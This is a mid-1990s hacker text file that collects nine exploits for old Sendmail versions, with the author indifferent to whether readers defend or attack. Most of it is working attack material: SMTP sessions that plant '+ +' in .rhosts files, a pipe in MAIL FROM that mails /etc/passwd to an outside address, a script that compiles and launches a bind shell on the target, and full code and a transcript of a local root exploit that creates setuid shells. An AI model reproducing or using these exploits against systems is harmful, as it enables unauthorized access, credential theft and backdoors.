The Hacker's Encyclopedia 1998/hackers_encyclopedia.iso/hacking/unix/sendmail.txt

Text File | 2003-06-11 | 18.4 KB | 732 lines

                         S e n d m a i l - B u g

                             E x p l o i t s
                                   List
                                  v.04b
-Per1com/Xer0

<By [e-mail]>

Introduction and Legal Ramble
-----------------------------

This is written for anyone that's interested in learning about the
many Security holes that are resident in many versions of Sendmail.
I do not care if you use it to protect your system against others,
or crack other ppls systems...just don't involve me in it.

I wrote it to collate all the information on sendmail into one list
for convience and perhaps it will help some people.

This paper is non-(c) 1995, I do not object, to you including
any of these in a Zine (others have), FAQ, printed magazine,
book etc... just be courteous and mail me first so I known
where it's distributed *:^) (I like to keep track out it)

Have you spotted a mistake or anything I could add? Then just add your
own stuff and put yourself down on the credits and mail it me :)

This is a beta document still.

OH, all I ask is tell me what versions these work on, and if you
have other exploits then mail me them :) !

Thanks/Greetz to Lineman and Syko for mailing me some stuff!


CONTENTS

Bug 1: uudecode problem, tested on Sendmail 5.64
Bug 2: Tail creates a daemon shell, tested on 5.65
Bug 3: Bounce allows anyone to read /etc/shadow, tested on 8.6.7
Bug 4: Issue a request twice and write to an .rhosts, works on 5.x ?
Bug 5: Execute commands and grab passwd, Sendmail 5.55
Bug 6: Execute commands remotely, Sendmail 4.1
Bug 7: Shows how to gain a bin owned shell, tested on Sendmail 8.6.9
Bug 8: Read a file that you just executed, Sendmail 8.6.x
Bug 9: Shows how to gain a root shell via Sendmail 8.6.4

-----
BUG 1
-----

Problem: /etc/aliases sometimes contains: decode: |/usr/bin/uudecode
Just comment it out.

% cat > outfile                  # Lets make our .rhosts file
+ +
^C
% uuencode outfile /usr/bin/.rhosts
begin 644 /usr/bin/.rhosts
$*R`K"@``
`
end
% telnet 127.1 25
Trying 127.0.0.1...
Connected to 127.1.
Escape character is '^]'.
220 fred Sendmail 5.64/zippy-1.22.01 ready at Mon, 24 Jul 95 09:34:12
-0400 (GMT)
helo
250 fred Hello  (localhost), pleased to meet you     # Howz it hangin?
mail from: bin
250 bin... Sender ok
rcpt to: decode
250 decode... Recipient ok
data
354 Enter mail, end with "." on a line by itself
begin 644 /usr/bin/.rhosts  # just type our uuencoded + +
$*R`K"@``
`
end
.
250 Ok
quit
221 fred closing connection
Connection closed by foreign host.
% ls -al /usr/bin/.rhosts
-rw-r--r--  1 bin        4 Jul 24 09:34 .rhosts

This is the same as:

% echo "myhost.com" | uuencode /usr/bin/.rhosts | mail [e-mail]

-----
BUG 2
-----

[From CSC FAQ, credit to J. Rawlinson]

---cut here
[panix!jhawk] |% telnet panix.com 25
Trying 198.7.0.2 ...
Connected to panix.com.
Escape character is '^]'.
220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
-0500
HELO
250 Hello panix.com, why do you call yourself ?
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
RCPT TO: root
250 root... Recipient ok
DATA
354 Enter mail, end with @.@ on a line by itself
 From: jhawk"panix.com (John Hawkinson)
  To: jhawk"panix.com (John Hawkinson)
  Return-Receipt-To: |foobar
  Subject: This is a large hole in the ground.
  X-Disclaimer: We take no responsibility for what might happen


  Hi there. Wanna play ball?





  #!/bin/sh
  #The above line is just in case :-)
  echo This is a Serious Bug > /tmp/bug
  echo id reports: >> /tmp/bug
  /usr/bin/id >> /tmp/bug
  echo Fixing this would be good >> /tmp/bug
  cp /bin/sh /tmp/bugshell
  chmod u+s /tmp/bugshell
  echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  chmod ugo+rx /tmp/bugshell
.
250 Ok
quit
221 panix.com closing connection


-----
BUG 3
-----

Version affected: 8.6.7

A bug in Sendmail 8.6.7 allows anyone to read any file,
including the shadowed password file:

/usr/lib/sendmail -oE/etc/shadow bounce
From: your_username

-----
BUG 4
-----

Sendmail: 5.x

You can have your host appened to someones .rhosts file,by issuing
the request twice in this example it's myhost.com:

 % cat sendmail_haq
 telnet target.com 25 << EOSM
 rcpt to: /home/students/twit/.rhosts
 mail from: twit
 data
 hello :) dewd
 .
 rcpt to: /home/students/twit/.rhosts
 mail from: twit
 data
 myhost.com
 .
 quit
 EOSM

 evil % /bin/sh sendmail_haq
 Trying 123.456.789.0
 Connected to target.com
 Escape character is '^]'.
 Connection closed by foreign host.

 % rlogin target.com -l twit
 %

-----
BUG 5
-----

Sendmail: 5.55

Some versions allow us to execute commands; often leading to
interesting effects like password file grabbing:

 % telnet target.com 25
 Trying 123.456.789.0...
 Connected to target.com
 Escape character is '^]'.
 220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
 mail from: "|/bin/mail [e-mail] < /etc/passwd"
 250 "|/bin/mail [e-mail] < /etc/passwd"... Sender ok
 rcpt to: mickeymouse
 550 mickeymouse... User unknown
 data
 354 Enter mail, end with "." on a line by itself
 .
 250 Mail accepted
 quit
 Connection closed by foreign host.
 %

-----
Bug 6
-----

Sendmail: 4.1

By Lineman

It allows remote access as bin...and since bin owns the /etc dir you
can gain root.

Rsend needs mconnect, which is a binary, which just connects to the place
and sends the data.  You can get rid the of ()'s at the beginninga and end
of the script, and get rid of the mconnect line, and run like ./rsend >
file, then ascii U/L the file to port 25...If it says a lot of stuff like
"Command Ununown" 25 times, then it didn't work.

Here's rsend:

#!/bin/sh
# Copyright, 1992, 1993 by Scott Chasin ([e-mail])
#
# This material is copyrighted by Scott Chasin, 1992, 1993. The
# usual standard disclaimer applies, especially the fact that the
# author is not liable for any damages caused by direct or indirect
# use of the information or functionality provided by this program.
#
# Description:
#
# Exploit NEW sendmail hole  and bind a port so we can spawn a program.
# Not for distribution under any circumstances
#
# Usage: smail <hostname> <target-user-name> <target-port> <shell command>
# default: smail <localhost> <daemon> <7001> </bin/sh>

port=$3
user=$2
cmd=$4

if [ -z "$2" ]; then
   user=daemon
fi

if [ -z "$3" ]; then
   port=7002
fi

if [ -z "$4" ]; then
   cmd="/bin/csh -i"
fi

(
sleep 4
echo "helo"
echo "mail from: |"
echo "rcpt to: bounce"
echo "data"
echo "."
sleep 3
echo "mail from: $user"
echo "rcpt to: | sed '1,/^$/d' | sh"
echo "data"
echo "cat > /tmp/a.c <<EOF"
cat <<  EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
goto loop;}
EOF
echo "EOF"
echo "cd /tmp"
echo "/bin/cc /tmp/a.c"
echo "/bin/rm a.c"
echo "/tmp/a.out $port $cmd"
echo "."
echo "quit"
) | mconnect $1

Or you can also ul this to port 25.
BTW, it gets you in by running a program that listens to port 7008...
you telnet to port 7008. You can then proceed to create new users in
/etc/passwd because you own the /etc dir...you need to type a ; after every
command, and it gives you 1 error every command...ignore it. The process
may be noticed by a few admins.

helo
mail from: |
rcpt to: bounce
data
.
mail from: bin
rcpt to: | sed '1,/^$/d' | sh
data
cat > /tmp/a.c <<EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
goto loop;}
EOF
cd /tmp
/bin/cc /tmp/a.c
/bin/rm a.c
/tmp/a.out 7008 /bin/sh
.
quit

-----
Bug 7
-----

Sendmail: 8.6.9, has this been fixed in 8.6.12 I expect so?

/* smh.c - Michael R. Widner - atreus (2/27/95)
 * <[e-mail]> <[e-mail]>
 * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
 * hole.  It's really just a matter of passing newlines in arguments to
 * sendmail and getting the stuff into the queue files.  If we run this
 * locally with -odq we are guaranteed that it will be queue, rather than
 * processed immediately.  Wait for the queue to get processed automatically
 * or just run sendmail -q if you're impatient.

 * usage: smh [ username [/path/to/sendmail]]

 * It's worth noting that this is generally only good for getting bin.
 * sendmail still wants to process the sendmail.cf file, which contains
 * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
 * a way around this?

 * cc -o smh smh.c should do the trick.  This just creates a bin owned
 * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
 * systems this is pretty much worthless, but you're smart enough to know
 * which systems those are.  Aren't you?
 */

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

main(argc, argv)
int argc;
char **argv;
{
        execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
        "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu,
A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii ",
        argv[1] ? argv[1] : "atreus",0);
}

-----
Bug 8
-----

Version: 8.6.?

To read a file you ran:

/usr/lib/sendmail -C/home/path/of/file

------
Bug 9
------

Sendmail: 8.6.4

/* What follows is a sample run exercising the latest sendmail hole and the
script used to exploit this hole.  This is a re-send; I neglected
to escape the "." in the sendmail script, leaving the program
slightly truncated.  To fix this, I have escaped the . so prior
to executing this you must remove the \.  (does that make any sense? :-)
There was also a small problem with nested quotes pointed out by Peter
Wemm which I have fixed.

This is the "small version" of the script; it assumes you have a sane
sendmail.cf.  In this manner, it is not a particularly robust "breakin
script" but I believe it does illustrate how to exploit the bug.

This program uses "calc.c," the program mentioned by Timothy Newsham in
an earlier message.  The program has been modified slightly so that it
gives better results (it would occasionally fail to locate the offset of
a config given a buggy sendmail.  The fix is to force a sync() after
it generates a coredump.)  The remainder of the program was written
by myself and a fellow student, Steven Dake.

We have held off on releasing this script until we were able to notify
the people responsible for system security at NAU.  Locals subscribing
to this digest beware; sendmail on our machines has been patched! :-) */

Script started on Thu Mar 24 00:54:54 1994
[pine] [1] date
Thu Mar 24 00:54:57 MST 1994
[pine] [2] whoami
jwa
[pine] [3] id
uid=4473(jwa) gid=400(student)
[pine] [4] ls -l sendbug.sh
-rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*
[pine] [5] sendbug.sh
Creating setid0 ...
Creating calc...
Scanning core image for /nau/local/lib/mail/sendmail.cf...
Creating alias.sh ...
Creating fake alias file...
Faking alias pointer in new config file...
Creating the sendmail script...
Executing /usr/lib/sendmail -
d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
4935554.109,4294935555.46,4294935556.9
Version 8.6.4
220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994 00:55:21 -0700
220 ESMTP spoken here
250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
250 <nobody>... Sender ok
250 <yash>... Recipient ok
354 Enter mail, end with "." on a line by itself
250 AAA01803 Message accepted for delivery
503 Need MAIL before RCPT
503 Need MAIL command
500 Command unrecognized
500 Command unrecognized
221 pine.cse.nau.edu closing connection
setid0 is a suid shell.  executing...
executing /bin/csh...
pine# whoami
root
pine# id
uid=0(root) gid=0(root)
pine# exit
pine# end of script.

. and here's the program.

#!/bin/sh
# exploit new sendmail bug to give us a root shell
# 24 mar 94  jwa/scd @nau.edu
# "short version"
# tested on sunos 5.2/sendmail 8.6.4

# location of sendmail
SENDMAIL=/usr/lib/sendmail

# location of original sendmail.cf file
CONFIG=/nau/local/lib/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL | grep sendmail.cf`

# program to execute as root
SHELL=/bin/csh

TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR

cp $SENDMAIL sm
chmod 700 sm

echo "Creating setid0 ..."
cat > setid.c << _EOF_

/* set uid to zero, thus escaping the annoying csh and solaris sh
 * problem..
 *
 * if (getuid() != geteuid()) {
 *  printf("permission denied, you root-hacker you.\n");
 *  exit(1);
 * }
 *
 * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
 * otherwise it runs the 1st arg.
 */

#include <stdio.h>

main(argc, argv)
int argc;
char *argv[];

 int uid;

 setuid(0);
 setgid(0);
 seteuid(0);  /* probabally redundant. */
 setegid(0);

 uid = getuid();

 if (uid != 0) {
  printf("setuid(0); failed!  aborting..\n");
  exit(1);
 }

 if (argc !=2) {
  printf("executing /bin/sh...\n");
  system("/bin/sh");
 }
  else
 {
  printf("executing %s...\n", argv[1]);
  system(argv[1]);
 }

_EOF_

cc -o setid0 setid.c

echo "Creating calc..."

cat > calc.c << _EOF_
/*
 * Determines offset in sendmail of
 * sendmail.cf file location.
 * author: timothy newsham
 */
#include <fcntl.h>

gencore()

  int pid;
  int fd[2];

  if(pipe(fd) < 0) {
    perror("pipe");
    exit(1);
    return(0);
  }
  pid = fork();
  if(!pid) {
    int f = open("./out", O_RDWR|O_CREAT, 0666);
    dup2(f, 1); dup2(fd[0], 0);
    close(f); close(fd[1]); close(fd[0]);
    execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
    perror("exec");
    exit(0);
  } else {
    sleep(2);
    kill(pid, 11);
  }
  close(fd[0]);
  close(fd[1]);


main(argc,argv)
char **argv;
int argc;

  unsigned int ConfFile,tTdvect,off;

  gencore();
  sync();   /* grr. */
  tTdvect = find("ZZZZZZZZ", "core");
  ConfFile = find(argv[1], "core");
  if(!tTdvect || !ConfFile) {
   return(1);
  }
  off = ConfFile - tTdvect;

  printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);


int find(pattern, file)
char *pattern,*file;

  int fd;
  int i, addr;
  char c;

  fd = open(file, 0);

  i = 0;
  addr = 0;
  while(read(fd, &c, 1) == 1) {
    if(pattern[i] == c)
      i++;
    else
      i=0;
    if(pattern[i] == '\0') {
      addr -= strlen(pattern);
      return(addr);
    }
    addr++;
  }
  return(0);

_EOF_
cc calc.c -o calc

echo "Scanning core image for $CONFIG..."

DEBUGFLAGS=`calc $CONFIG`

echo "Creating alias.sh ..."
echo "#!/bin/sh
# this program will be executed when mail is sent to the fake alias.
# since solaris sh and csh and tcsh refuse to run when euid != realuid,
# we instead run the program we compiled above.

/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync

" > alias.sh

chmod 755 alias.sh

echo "Creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases

echo "Faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
echo "
# hacks follow

OA/$TEMPDIR/aliases                     # our fake alias file
Ou0                                     # user ID to run as
Og0                                     # group ID to run as
DZWHOOP-v1.0" >> /tmp/sm.cf

echo "Creating the sendmail script..."

cat > sendmail.script << _EOF_
helo
mail from: <nobody>
rcpt to: <yash>
data
yet another sendmail hole?  suid whoop?
\.                                      # oops.. delete \ prior to execution
quit
_EOF_

echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."

$SENDMAIL $DEBUGFLAGS -bs < sendmail.script

# give it time to execute.
sleep 4

# cleanup in 5 seconds
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &

if [ -u setid0 ]
then
 echo "setid0 is a suid shell.  executing..."
 cd /
 $TEMPDIR/setid0 /bin/csh
 echo "end of script."
 exit 0
else
 echo "setid0 is not suid; script failed."
 echo "apparently, you don't have the bug.  celebrate :-)"
 exit 1
fi


--
You can get the new version of sendmail from:
ftp.cs.berkeley.edu in /ucb/sendmail


More coming soon.... remember to mail any other exploits that
may be of interest.

Oh, yes you might want to check these books:

Very good, highly recommended, all round security book:
General History of Hacking, Phone Phreakers, Security on UNIX & VMS
* Computer Hacking: Detection & Protection *, By Sigma Press 1995,
ISBN: 1-85058-538-5

A Very Good UNIX Security book another; another highly recommended book:
* Practical Unix Security *, O'Reilly & Assc.,
ISBN: 0-937175-72-2

* TCP Illustarted Volumes I&II *,
By W. Richard Stevens,
Addison Wesley
ISBN: ?

- [By Per1com/Xer0]